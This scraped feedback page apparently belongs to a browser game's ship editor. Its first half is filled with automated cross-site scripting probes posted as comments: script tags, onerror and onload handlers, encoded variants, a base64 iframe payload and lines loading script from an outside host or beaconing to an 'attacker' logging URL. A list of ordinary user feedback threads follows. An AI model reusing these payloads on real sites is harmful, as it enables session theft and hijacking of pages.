• TYYHyRvY<img/src=">" onerror=alert(9457)>

  1

• TYYHyRvY

  1<script>aZ8r(9151)</script>

• TYYHyRvY<img/src=">" onerror=alert(9418)>

  1

• TYYHyRvY

  1<script>aZ8r(9672)</script>

• TYYHyRvY

  1<script>aZ8r(9561)</script>9561

• TYYHyRvY\u003CScRiPt\h4Oc(9862)\u003C/sCripT\u003E

  1

• TYYHyRvY

  1<script>aZ8r(9427)</script>9427

• TYYHyRvY&lt;ScRiPt&gt;h4Oc(9314)&lt;/sCripT&gt;

  1

• TYYHyRvY

  1<ScR<ScRiPt>IpT>aZ8r(9305)</sCr<ScRiPt>IpT>

• TYYHyRvY

  1<ScRiPt >aZ8r(9259)</ScRiPt>

• TYYHyRvY<input autofocus onfocus=h4Oc(9631)>

  1

• TYYHyRvY

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9924></ScRiPt>

• <a HrEF=http://xss.bxss.me></a>

  1

• TYYHyRvY

  1<ScRiPt >aZ8r(9810)</ScRiPt>

• <a HrEF=jaVaScRiPT:>

  1

• TYYHyRvY}body{zzz:Expre/**/SSion(h4Oc(9853))}

  1

• TYYHyRvY

  1<isindex type=image src=1 onerror=aZ8r(9063)>

• TYYHyRvYcTM63 <ScRiPt >h4Oc(9017)</ScRiPt>

  1

• TYYHyRvY

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9023'>

• TYYHyRvY<WAZAGQ>3C3UT[!+!]</WAZAGQ>

  1

• TYYHyRvY

  1<body onload=aZ8r(9380)>

• TYYHyRvY<ifRAme sRc=9417.com></IfRamE>

  1

• TYYHyRvY

  1<img src=//xss.bxss.me/t/dot.gif onload=aZ8r(9832)>

• TYYHyRvY<a2Q8hCK x=9642>

  1

• TYYHyRvY

  1<img src=xyz OnErRor=aZ8r(9460)>

• TYYHyRvY<img sRc='http://attacker-9668/log.php?

  1

• TYYHyRvY

  1<img/src=">" onerror=alert(9398)>

• TYYHyRvY<aPEkJED<

  1

• TYYHyRvY

  1<img/src=">" onerror=alert(9139)>

• TYYHyRvY<aUxlUQq<

  1

• TYYHyRvY

  %31%3C%53%63%52%69%50%74%20%3E%61%5A%38%72%289831%29%3C%2F%73%43%72%69%70%54%3E

• TYYHyRvY

  1\u003CScRiPt\aZ8r(9831)\u003C/sCripT\u003E

• TYYHyRvY

  1&lt;ScRiPt&gt;aZ8r(9440)&lt;/sCripT&gt;

• TYYHyRvY

  1<input autofocus onfocus=aZ8r(9092)>

• TYYHyRvY

  <a HrEF=http://xss.bxss.me></a>

• TYYHyRvY

  <a HrEF=jaVaScRiPT:>

• TYYHyRvY

  1}body{zzz:Expre/**/SSion(aZ8r(9108))}

• TYYHyRvY

  1E0f12 <ScRiPt >aZ8r(9027)</ScRiPt>

• TYYHyRvY

  1<W4UYXC>BXAV8[!+!]</W4UYXC>

• TYYHyRvY

  1<ifRAme sRc=9728.com></IfRamE>

• TYYHyRvY

  1<aQw5zIT x=9207>

• TYYHyRvY

  1<img sRc='http://attacker-9835/log.php?

• TYYHyRvY

  1<aSZz5HN<

• TYYHyRvY

  1<aD94Nb7<

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 169 months ago
  Unvote

  8553 agree

• Hack Protection
  By Stealthkid - 161 months ago
  Unvote

  3101 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 128 months ago
  Unvote

  1127 agree

• Add to favorites
  By Anonymous - 172 months ago
  Unvote

  1124 agree

• editro
  By critic - 172 months ago
  Unvote

  1064 agree

• Youtube B-wing achievement
  By chuck norris - 170 months ago
  Unvote

  1055 agree

• Change Name?
  By Anonymous - 172 months ago
  Unvote

  1054 agree

• What browsers are supported?
  By Jack - 168 months ago
  Unvote

  1035 agree

• Missiles as an Third Weapon
  By Ram - 168 months ago
  Unvote

  1003 agree

• It doesn't work!
  By the destructor - 171 months ago
  Unvote

  956 agree

• Slide ship in on start
  By Kickass guy - 172 months ago
  Unvote

  950 agree

• need some advice
  By Hao - 169 months ago
  Unvote

  942 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 167 months ago
  Unvote

  916 agree

• Mistaken Website Bug
  By CrazyDeathling - 170 months ago
  Unvote

  913 agree

• Try Me does not work
  By Tim - 172 months ago
  Unvote

  900 agree

• Rank list & Leaderboards
  By StoleYourFood - 166 months ago
  Unvote

  890 agree

• achievements
  By Lee - 171 months ago
  Unvote

  888 agree

• battle
  By alexof - 169 months ago
  Unvote

  882 agree

• how do i draw the outline
  By kickassisdeboss - 171 months ago
  Unvote

  880 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 171 months ago
  Unvote

  855 agree

• Mirrored editing
  By wombat - 169 months ago
  Unvote

  844 agree

• Save
  By DevilishDB - 170 months ago
  Unvote

  842 agree

• Benefits from improving ranks
  By hurrtz - 167 months ago
  Unvote

  832 agree

• You guys should have a symmetrical mode
  By Idrees - 171 months ago
  Unvote

  826 agree

• Rankings
  By heyo - 171 months ago
  Unvote

  818 agree

• Awesome
  By Anonymous - 164 months ago
  Unvote

  815 agree

• Designer
  By Anonymous - 172 months ago
  Unvote

  814 agree

• Pen tool
  By Cblackdragon - 166 months ago
  Unvote

  809 agree

• Pro!!
  By Jtbui20 - 170 months ago
  Unvote

  807 agree

• omfg
  By Russellmichael13 - 170 months ago
  Unvote

  804 agree

• Two major glitches
  By BeyPokéDig - 171 months ago
  Unvote

  804 agree

• Button
  By Cottonball - 170 months ago
  Unvote

  799 agree

• 1 agrees
  By BeyPokéDig - 171 months ago
  Unvote

  797 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 164 months ago
  Unvote

  792 agree

• Undo button
  By wombat - 169 months ago
  Unvote

  785 agree

• You guys need an undo button
  By Idrees - 171 months ago
  Unvote

  782 agree

• Extra weapons
  By MassMurdererOver9000 - 166 months ago
  Unvote

  777 agree

• I am using this on my site
  By Idrees - 171 months ago
  Unvote

  777 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 171 months ago
  Unvote

  774 agree

• White labeling the app?
  By Peter.dibart - 167 months ago
  Unvote

  774 agree

• Forums
  By BeyPokéDig - 171 months ago
  Unvote

  771 agree

• Image for ship
  By wombat - 169 months ago
  Unvote

  770 agree

• Enemies
  By Agallup16 - 171 months ago
  Unvote

  753 agree

• android app
  By Barissenkal - 162 months ago
  Unvote

  747 agree

• Question
  By Kickin Ass - 171 months ago
  Unvote

  742 agree

• help
  By Russellmichael13 - 170 months ago
  Unvote

  694 agree

• Undo Button
  By Cblackdragon - 166 months ago
  Vote

  690 agree

• page moving up/down while controling the ship?
  By Tommy - 171 months ago
  Unvote

  682 agree

• 0xp till| Only GA.
  By StoleYourFood - 166 months ago
  Unvote

  676 agree

• how come the editor is so hard to use
  By Rcasassin - 168 months ago
  Unvote

  664 agree